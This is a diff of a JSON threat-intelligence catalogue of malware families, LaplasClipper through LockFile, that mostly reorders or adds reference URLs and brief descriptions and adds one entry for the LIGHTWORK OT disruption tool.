"https://blog.cyble.com/2022/11/02/new-laplas-clipper-distributed-by-smokeloader/", + "https://any.run/cybersecurity-blog/analyzing-laplasclipper-malware/" ], "synonyms": [], "type": [] @@ -30835,14 +32320,14 @@ "value": "LaplasClipper" }, { - "description": "FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.\r\n\r\nUsing Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.", + "description": "FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.\r\n\r\nUsing Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland \u2013 primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped \u2013 which they named LATENTBOT \u2013 caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot", - "https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/", - "https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access", "https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html", + "https://www.cert.pl/news/single/latentbot-modularny-i-silnie-zaciemniony-bot/", "http://malware-traffic-analysis.net/2017/04/25/index.html", + "https://cys-centrum.com/ru/news/module_trojan_for_unauthorized_access", "https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/" ], "synonyms": [], @@ -30869,7 +32354,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor", - "https://asec.ahnlab.com/ko/40495/" + "https://asec.ahnlab.com/ko/40495/", + "https://asec.ahnlab.com/ko/53832/" ], "synonyms": [], "type": [] @@ -30882,6 +32368,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarloader", + "https://asec.ahnlab.com/ko/53832/", "https://securelist.com/bluenoroff-methods-bypass-motw/108383/" ], "synonyms": [], @@ -30895,8 +32382,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazarus_killdisk", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/", - "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/", + "https://www.virusbulletin.com/uploads/pdf/magazine/2018/VB2018-Kalnai-Poslusny.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/" ], "synonyms": [ "KillDisk.NBO" @@ -30911,8 +32399,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.laziok", - "https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector", "https://www.gdatasoftware.com/blog/2015/05/24280-dissecting-the-kraken", + "https://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector", "https://www.mysonicwall.com/sonicalert/searchresults.aspx?ev=article&id=802" ], "synonyms": [], @@ -30926,8 +32414,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazycat", - "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/", - "https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/" + "https://blog.yoroi.company/research/the-arsenal-behind-the-australian-parliament-hack/", + "https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/" ], "synonyms": [], "type": [] @@ -30940,10 +32428,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lcpdot", - "https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/", + "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", "https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html", "https://securelist.com/lazarus-trojanized-defi-app/106195/", - "https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf" + "https://research.nccgroup.com/2022/05/05/north-koreas-lazarus-and-their-initial-access-trade-craft-using-social-media-and-social-engineering/", + "https://cn.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.102_ENG%20(4).pdf", + "https://vblocalhost.com/uploads/VB2021-Park.pdf" ], "synonyms": [], "type": [] @@ -30996,19 +32486,19 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lemonduck", "https://therecord.media/lemonduck-botnet-evolves-to-allow-hands-on-keyboard-intrusions/", + "https://success.trendmicro.com/solution/000261916", + "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", "https://cybotsai.com/lemon-duck-attack/", "https://www.crowdstrike.com/blog/lemonduck-botnet-targets-docker-for-cryptomining-operations/", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://news.sophos.com/en-us/2021/05/07/new-lemon-duck-variants-exploiting-microsoft-exchange-server/?cmp=30728", + "https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf", + "https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html", + "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", "https://www.microsoft.com/security/blog/2021/07/29/when-coin-miners-evolve-part-2-hunting-down-lemonduck-and-lemoncat-attacks/", "https://news.sophos.com/en-us/2019/10/01/lemon_duck-powershell-malware-cryptojacks-enterprise-networks/", - "https://asec.ahnlab.com/en/31811/", - "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", "https://blog.talosintelligence.com/2021/05/lemon-duck-spreads-wings.html", - "https://notes.netbytesec.com/2021/06/lemon-duck-cryptominer-technical.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/373/Bitdefender-PR-Whitepaper-LemonDuck-creat4826-en-EN-GenericUse.pdf", - "https://www.microsoft.com/security/blog/2021/07/22/when-coin-miners-evolve-part-1-exposing-lemonduck-and-lemoncat-modern-mining-malware-infrastructure/", - "https://success.trendmicro.com/solution/000261916" + "https://www.bleepingcomputer.com/news/security/vulnerable-microsoft-sql-servers-targeted-with-cobalt-strike/", + "https://asec.ahnlab.com/en/31811/" ], "synonyms": [], "type": [] @@ -31037,8 +32527,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lethic", - "http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html", "http://www.malware-traffic-analysis.net/2017/11/02/index.html", + "http://www.vkremez.com/2017/11/lets-learn-lethic-spambot-survey-of.html", "http://resources.infosecinstitute.com/win32lethic-botnet-analysis/" ], "synonyms": [], @@ -31078,10 +32568,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.liderc", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media", + "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/", "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html", - "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/" + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf" ], "synonyms": [ "LEMPO" @@ -31109,14 +32599,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightneuron", - "https://www.secureworks.com/research/threat-profiles/iron-hunter", - "https://securelist.com/apt-trends-report-q2-2018/86487/", "https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/", + "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", + "https://securelist.com/apt-trends-report-q2-2018/86487/", "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments", - "https://www.welivesecurity.com/2020/03/12/tracking-turla-new-backdoor-armenian-watering-holes/", - "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf" + "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", + "https://www.secureworks.com/research/threat-profiles/iron-hunter" ], "synonyms": [ "NETTRANS", @@ -31128,7 +32618,7 @@ "value": "LightNeuron" }, { - "description": "Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user’s data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the JSON format for exfiltration. ", + "description": "Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user\u2019s data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the JSON format for exfiltration. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightning_stealer", @@ -31140,13 +32630,26 @@ "uuid": "48a21f7a-3dc9-4524-9628-10ed0f762bb4", "value": "Lightning Stealer" }, + { + "description": "According to Mandiant, LIGHTWORK is a disruption tool written in C++ that implements the IEC-104 protocol to modify the state of RTUs over TCP. It crafts configurable IEC-104 ASDU messages, to change the state of RTU IOAs to ON or OFF. This sample works in tandem with PIEHOP, which sets up the execution. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightwork", + "https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware-russian-response" + ], + "synonyms": [], + "type": [] + }, + "uuid": "01cbe4cc-43ba-4bc8-9fee-9daf63dda335", + "value": "LIGHTWORK" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ligsterac", - "http://atm.cybercrime-tracker.net/index.php", - "https://securelist.com/atm-infector/74772/" + "https://securelist.com/atm-infector/74772/", + "http://atm.cybercrime-tracker.net/index.php" ], "synonyms": [], "type": [] @@ -31159,16 +32662,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lilith", - "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", - "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", - "https://github.com/werkamsus/Lilith", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf", - "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", "https://www.zscaler.com/blogs/security-research/analysis-lilithbot-malware-and-eternity-threat-group", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf?1625657388", "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/592/original/Hashes_IOCs_for_coverage.txt", + "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-endtrade-finding-multi-stage-backdoors-that-tick/", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479", + "https://www.trendmicro.com/en_us/research/21/l/collecting-in-the-dark-tropic-trooper-targets-transportation-and-government-organizations.html", + "https://yoroi.company/research/a-deep-dive-into-eternity-group-a-new-emerging-cyber-threat/", "https://blog.cyble.com/2022/07/12/new-ransomware-groups-on-the-rise/", - "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/594/original/Network_IOCs_list_for_coverage.txt?1625657479" + "https://github.com/werkamsus/Lilith", + "https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/591/original/062521_SideCopy_%281%29.pdf" ], "synonyms": [], "type": [] @@ -31220,23 +32723,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat", + "https://github.com/NYAN-x-CAT/Lime-RAT/", + "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.youtube.com/watch?v=x-g-ZLeX8GM", "https://blog.talosintelligence.com/2022/04/asyncrat-3losh-update.html", + "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", "https://blog.reversinglabs.com/blog/rats-in-the-library", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", + "https://felipetarijon.github.io/2022-12-12-limerat-infecting-unskilled-threat-actors/", "https://any.run/cybersecurity-blog/limerat-malware-analysis/", "https://lab52.io/blog/apt-c-36-recent-activity-analysis/", - "https://blog.morphisec.com/tracking-hcrypt-an-active-crypter-as-a-service", - "https://www.youtube.com/watch?v=x-g-ZLeX8GM", - "https://github.com/NYAN-x-CAT/Lime-RAT/", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", - "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", "https://lab52.io/blog/literature-lover-targeting-colombia-with-limerat/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.yoroi.company/research/limerat-spreads-in-the-wild/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/targeted-attack-on-government-agencies.html", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", - "https://felipetarijon.github.io/2022-12-12-limerat-infecting-unskilled-threat-actors/" + "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", + "https://blog.yoroi.company/research/limerat-spreads-in-the-wild/" ], "synonyms": [], "type": [] @@ -31288,8 +32791,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.liteduke", - "https://norfolkinfosec.com/looking-back-at-liteduke/", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/" + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", + "https://norfolkinfosec.com/looking-back-at-liteduke/" ], "synonyms": [], "type": [] @@ -31302,9 +32805,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.litehttp", - "https://malware.news/t/recent-litehttp-activities-and-iocs/21053", "https://github.com/zettabithf/LiteHTTP", - "https://viriback.com/recent-litehttp-activities-and-iocs/" + "https://viriback.com/recent-litehttp-activities-and-iocs/", + "https://malware.news/t/recent-litehttp-activities-and-iocs/21053" ], "synonyms": [], "type": [] @@ -31317,7 +32820,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lobshot", - "https://www.elastic.co/de/security-labs/elastic-security-labs-discovers-lobshot-malware" + "https://www.elastic.co/de/security-labs/elastic-security-labs-discovers-lobshot-malware", + "https://research.openanalysis.net/lobshot/bot/hvnc/triage/2023/07/16/lobshot.html" ], "synonyms": [], "type": [] @@ -31330,134 +32834,141 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit", - "https://www.intrinsec.com/alphv-ransomware-gang-analysis", - "https://asec.ahnlab.com/en/35822/", - "https://chuongdong.com/reverse%20engineering/2022/03/19/LockbitRansomware/", - "https://www.trendmicro.com/en_no/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://securityscorecard.com/research/the-increase-in-ransomware-attacks-on-local-governments", - "https://id-ransomware.blogspot.com/search?q=lockbit", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockbit-targets-servers", - "https://asec.ahnlab.com/en/41450/", - "https://www.bleepingcomputer.com/news/security/ransomware-attack-hits-italys-lazio-region-affects-covid-19-site/", - "https://www.cybereason.com/blog/rising-threat-from-lockbit-ransomware", - "https://blog.minerva-labs.com/lockbit-3.0-aka-lockbit-black-is-here-with-a-new-icon-new-ransom-note-new-wallpaper-but-less-evasiveness", - "https://www.sentinelone.com/labs/lockbit-3-0-update-unpicking-the-ransomwares-latest-anti-analysis-and-evasion-techniques/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.coveware.com/blog/2022/1/26/ransomware-as-a-service-innovation-curve", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", - "https://twitter.com/MsftSecIntel/status/1522690116979855360", - "https://blogs.vmware.com/security/2022/10/lockbit-3-0-also-known-as-lockbit-black.html", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://cluster25.io/2022/07/06/lockbit-3-0-making-the-ransomware-great-again/", - "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-moves-victims-to-lockbit-after-shutdown/", - "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://medium.com/@amgedwageh/lockbit-ransomware-analysis-notes-93a542fc8511", - "https://lifars.com/wp-content/uploads/2022/02/LockBitRansomware_Whitepaper.pdf", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", - "https://cybergeeks.tech/a-technical-analysis-of-the-leaked-lockbit-3-0-builder/", - "https://security.packt.com/understanding-lockbit/", - "https://analyst1.com/ransomware-diaries-volume-1/", - "https://www.bleepingcomputer.com/news/security/energy-group-erg-reports-minor-disruptions-after-ransomware-attack/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.dragos.com/blog/industry-news/dragos-ics-ot-ransomware-analysis-q4-2021/", - "https://blog.cyble.com/2021/08/16/a-deep-dive-analysis-of-lockbit-2-0/", - "https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html", - "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-claims-attack-on-bridgestone-americas/", - "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://www.dr.dk/nyheder/viden/teknologi/frygtede-skulle-lukke-alle-vindmoeller-nu-aabner-vestas-op-om-hacking-angreb", - "https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/", - "https://documents.trendmicro.com/assets/pdf/datasheet-ransomware-in-Q1-2022.pdf", - "https://talos-intelligence-site.s3.amazonaws.com/production/document_files/files/000/095/481/original/010421_LockBit_Interview.pdf", - "https://www.glimps.fr/dcouverte-dune-nouvelle-version-du-ramsomware-lockbit/", - "https://www.prodaft.com/m/reports/LockBit_Case_Report___TLPWHITE.pdf", - "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-gets-aggressive-with-triple-extortion-tactic/", - "https://medium.com/s2wlab/w4-jan-en-story-of-the-week-ransomware-on-the-darkweb-7595544363b1", - "https://www.crowdstrike.com/blog/better-together-global-attitude-survey-takeaways-2021/", - "https://seguranca-informatica.pt/malware-analysis-details-on-lockbit-ransomware/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/", - "https://www.mbsd.jp/2021/10/27/assets/images/MBSD_WhitePaper_A-deep-dive-analysis-of-LockBit2.0_Ransomware.pdf", - "https://asec.ahnlab.com/ko/39682/", - "https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/", - "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", - "https://www.ic3.gov/Media/News/2022/220204.pdf", - "https://amgedwageh.medium.com/lockbit-ransomware-analysis-notes-93a542fc8511", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.netskope.com/blog/netskope-threat-coverage-lockbit", - "https://www.youtube.com/watch?v=C733AyPzkoc", - "https://ke-la.com/lockbit-2-0-interview-with-russian-osint/", - "https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html", - "https://www.zdnet.com/article/ransomware-hits-helicopter-maker-kopter/", - "https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom", - "https://securelist.com/modern-ransomware-groups-ttps/106824/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://news.sophos.com/en-us/2020/10/21/lockbit-attackers-uses-automated-attack-tools-to-identify-tasty-targets", - "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/", - "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", - "https://www.connectwise.com/resources/lockbit-profile", - "https://www.fortinet.com/blog/threat-research/ransomware-roundup-new-variants", - "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", - "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", - "https://redcanary.com/blog/intelligence-insights-november-2021/", - "https://therecord.media/conti-ransomware-gang-chats-leaked-by-pro-ukraine-member/", - "https://www.logpoint.com/en/blog/hunting-lockbit-variations-using-logpoint/", - "https://intel471.com/blog/privateloader-malware", - "https://www.seqrite.com/blog/indian-power-sector-targeted-with-latest-lockbit-3-0-variant/", - "https://news.sophos.com/en-us/2020/04/24/lockbit-ransomware-borrows-tricks-to-keep-up-with-revil-and-maze/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/d/thwarting-loaders-from-socgholish-to-blisters-lockbit-payload/iocs-thwarting-loaders-socgholish-blister.txt", - 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"https://www.cisa.gov/sites/default/files/2023-06/aa23-165a_understanding_TA_LockBit_0.pdf", + "https://www.bleepingcomputer.com/news/security/uk-rail-network-merseyrail-likely-hit-by-lockbit-ransomware/", + "https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker", + "https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html", + "https://news.sophos.com/en-us/2022/04/12/attackers-linger-on-government-agency-computers-before-deploying-lockbit-ransomware/", + "https://research.loginsoft.com/threat-research/taming-the-storm-understanding-and-mitigating-the-consequences-of-cve-2023-27350/", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://securityaffairs.com/141666/cyber-crime/lockbit-green-ransomware-variant.html", + "https://securityintelligence.com/posts/lockbit-ransomware-attacks-surge-affiliate-recruitment/", + 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"https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack" ], "synonyms": [ "ABCD Ransomware" @@ -31472,27 +32983,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockergoga", - "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://blog.talosintelligence.com/lockergoga/", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", - "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202", "https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot", - "https://www.abuse.io/lockergoga.txt", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", + "https://blog.talosintelligence.com/lockergoga/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.youtube.com/watch?v=o6eEN0mUakM", + "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202", + "https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html", "https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880", "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/", - "https://www.helpnetsecurity.com/2019/04/02/aurora-decrypter-mira-decrypter/", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://dragos.com/wp-content/uploads/Spyware-Stealer-Locker-Wiper-LockerGoga-Revisited.pdf", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.helpnetsecurity.com/2019/04/02/aurora-decrypter-mira-decrypter/", + "https://www.bleepingcomputer.com/news/security/new-lockergoga-ransomware-allegedly-used-in-altran-attack/", "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", - "https://www.bleepingcomputer.com/news/security/fbi-issues-alert-for-lockergoga-and-megacortex-ransomware/" + "https://dragos.com/wp-content/uploads/Spyware-Stealer-Locker-Wiper-LockerGoga-Revisited.pdf", + "https://www.abuse.io/lockergoga.txt", + "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf" ], "synonyms": [], "type": [] @@ -31505,19 +33016,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lockfile", - "https://news.sophos.com/en-us/2021/08/23/proxyshell-vulnerabilities-in-microsoft-exchange-what-to-do/", "https://nsfocusglobal.com/insights-into-ransomware-spread-using-exchange-1-day-vulnerabilities-1-2/", - "https://decoded.avast.io/threatintel/decryptor-for-atomsilo-and-lockfile-ransomware/", "https://twitter.com/VirITeXplorer/status/1428750497872232459", - "https://www.csoonline.com/article/3631517/lockfile-ransomware-uses-intermittent-encryption-to-evade-detection.html", - "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", "https://blog.cyble.com/2021/08/25/lockfile-ransomware-using-proxyshell-attack-to-deploy-ransomware/", "https://thehackernews.com/2021/08/lockfile-ransomware-bypasses-protection.html", + "https://news.sophos.com/en-us/2021/08/23/proxyshell-vulnerabilities-in-microsoft-exchange-what-to-do/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows", + 